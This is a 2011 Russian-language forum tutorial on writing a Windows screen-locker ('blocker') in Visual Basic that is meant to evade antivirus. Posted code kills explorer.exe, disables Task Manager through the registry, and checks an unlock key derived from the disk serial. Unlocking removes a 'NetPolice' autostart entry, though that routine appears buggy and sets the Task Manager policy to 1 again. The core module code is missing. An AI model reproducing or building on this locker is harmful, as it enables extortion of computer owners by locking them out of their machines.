Пишем непалящий блокер винды на vb

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]

Страница 1 из 1 1
Модератор форума: Nis

Nis

Дата: Среда, 07.09.2011, 14:33 | Сообщение # 1

Basicminator

Группа: Администраторы

Сообщений: 46

Репутация: 32767

Статус: Offline

Привет. Сегодня я расскажу как создать блокер винды. Поскольку это новая программа она долго не будет определятся некоторыми антивирусами. Итак приступим!
Открываем бейсик, создаем проект Стандарт Экзе. У главной формы ставим свойство BorderStyle в 0(none). Кидаем компоненты как у меня на картинки:

Сделали? Отлично! Идем дальше!
К хорошему блокеру трудно подобрать код. Мы сделаем свой алгоритм защиты. Серийник будет айди железа, а код разблокировки то же айди, но умноженый на некоторые числа. Итак пишем!
Кидаем модуль и пишем в нем код:
Сам Код

Nis

Дата: Среда, 07.09.2011, 14:36 | Сообщение # 2

Basicminator

Группа: Администраторы

Сообщений: 46

Репутация: 32767

Статус: Offline

Здесь мы объевляем функции для работы с реетром и для получения айди железа.Теперь в код формы пишем:

Code

Function Start() 'Объявляем функцию Start
SetKeyValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "NetPolice", "", REG_SZ ' удаляем нас из автозапуска
Shell "explorer.exe" 'возвращаем нормальный доступ к компу
End ' убираем блокер
End Function

Private Sub Form_Load()
Text1.Text = GetSerialNumber("C:\") 'Узнаемайди компа
End Sub
Private Sub Command1_Click()
Serial = Text1.Text
If Text2.Text = Fix(Val(Serial) * 5 + 123456789# / 3) Then
MsgBox "Ключ верный", 64 + 0, "ВСЕ НОРМ"
Start 'вызываем функцию старт start
Else 'если ключ неправильный то показываем ошибку
MsgBox "Неправильный ключ", 16 + 0, "ERROR"
End If
End Sub

Nis

Дата: Среда, 07.09.2011, 14:37 | Сообщение # 3

Basicminator

Группа: Администраторы

Сообщений: 46

Репутация: 32767

Статус: Offline

Защиту сделали, теперь закончим наше дело! Допишем код в некоторые процедуры (дописанный код я выделю голубым)

Code

Private Sub Form_Load()
[color="Blue"]Shell "cmd /x/c taskkill /f /im explorer.exe", vbHide[/color]'Убиваем проводника
Text1.Text = GetSerialNumber("C:\") ' Определяем id компа
[color="Blue"]SetKeyValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", DisableTaskMgr, "1", REG_DWORD [/color] ' Блокируем диспечер задач
End Sub

Теперь в функцию Start

Code

Function Start() 'Объявляем функцию Start
SetKeyValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "NetPolice", "", REG_SZ ' удаляем нас из автозапуска
Shell "explorer.exe" 'возвращаем нормальный доступ к компу
[color="Blue"]SetKeyValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", DisableTaskMgr, "1", REG_DWORD[/color] 'Разрешаем диспечер задач
End ' убираем блокер
end Function

Пишем непалящий блокер винды на vb

Страница 1 из 1
1

Мой сайт